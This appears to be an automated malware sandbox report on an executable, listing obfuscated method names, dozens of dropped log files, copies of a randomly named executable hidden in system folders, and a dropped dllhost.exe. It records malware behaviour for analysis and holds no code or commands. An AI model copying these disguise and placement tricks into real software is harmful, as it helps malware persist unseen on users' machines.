Source: aW6kSsgdvv.exe, hC8I4Mkoq6u2d1iaiyw.cs	High entropy of concatenated method names: 'aTRkfTy5qI', 'FubkyiZHmc', 'vSckU5ftV1', 'SjPkA7Ormx', 'aahkb9uj97', 'VRGkpbU4gA', 'MGhkxJpM8G', 'zJykmx81D6', '_0023Nn', 'Dispose'
Source: aW6kSsgdvv.exe, QZ8MrBl9GpByCDBy6SY.cs	High entropy of concatenated method names: 'XWdl8klXDm', 'xgplEAM88c', 'nMVlqCIZfH', 'BP6ShdVyDB6NpjmHt0ne', 'BRgLQcVy7U5AFaDADV52', 'GaQZugVyMsSGWD8JsNNX', 'V56RANVyyQrkMTiYuJRd', 'yX1HL8VyNGdgc1ey49sR', 'eF7k2rVy3F1R91efKTh2'
Source: aW6kSsgdvv.exe, ryoyYhPLt8idUf00bIV.cs	High entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'momkSjVftVyLlbv0DjiK', 'Q1mJBkVf1qa3fu0FysYZ', 'yhULGcVfkCnkdKrQAsr1', 'aJkye6VfWjGD9V3bTLOG'
Source: aW6kSsgdvv.exe, DgdUjkV5UuVFrOHuHh5.cs	High entropy of concatenated method names: 'io8', 'V29', 'j67', '_2Q4', 'pi9', 'DQPVZwXkNxL', 'HS0V61hKBGe', 'ntFWygVdu8CkQAtloenU', 'NsNMo6VdYb260HdbfBtW', 'Cbjxs6Vdohiy4NctFDss'

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\SVFlttpV.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\UPIBktTL.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\oDYhwZmE.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\OSzMttrI.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\vBMhZoht.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\buBBtjbG.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\FkfwJRmb.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\dGLjzEzy.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\OeOumwpc.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\ENCxRpdw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\QYddYtaa.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\nguhEyda.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\kEKqFqTO.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\amxtkjHj.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\eUERMxhX.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\xmrxgCsm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\UXrTPcuQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\CDgwRXyw.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\aYPSAOzm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\lvPRxkTh.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\QyTCAYNB.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\QGDVeHnG.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\AoefClwh.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\QhBdIftX.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\qIDxbZVW.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\mSMHUcVd.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\KfBEvNVm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\itdibBOm.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\jhNAiyRT.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\MQMeXKnN.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\CBsOLUGE.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\aQUtsIzF.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\XoXkyDgk.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\kNhqpcmL.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\vNbOSreM.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\SAFlVHRw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\BFEovXjB.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\ZytkyWMl.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\GhGFeRBW.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\FtWmYUyp.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\SrillUyz.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\zavFSPnk.log	Jump to dropped file

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe			Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe			Jump to dropped file

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\vNbOSreM.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\dGLjzEzy.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\UXrTPcuQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\BFEovXjB.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\itdibBOm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\aQUtsIzF.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\QhBdIftX.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\FtWmYUyp.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\nguhEyda.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\UPIBktTL.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\buBBtjbG.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\KfBEvNVm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\CBsOLUGE.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\qIDxbZVW.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\QYddYtaa.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\mSMHUcVd.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\SVFlttpV.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\OeOumwpc.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\ENCxRpdw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\CDgwRXyw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Users\user\Desktop\lvPRxkTh.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\aYPSAOzm.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\kEKqFqTO.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\SrillUyz.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\zavFSPnk.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\QGDVeHnG.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\MQMeXKnN.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\amxtkjHj.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\QyTCAYNB.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\xmrxgCsm.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\oDYhwZmE.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\eUERMxhX.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\OSzMttrI.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\FkfwJRmb.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\vBMhZoht.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\kNhqpcmL.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\SAFlVHRw.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\AoefClwh.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\jhNAiyRT.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\ZytkyWMl.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\XoXkyDgk.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File created: C:\Users\user\Desktop\GhGFeRBW.log	Jump to dropped file

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
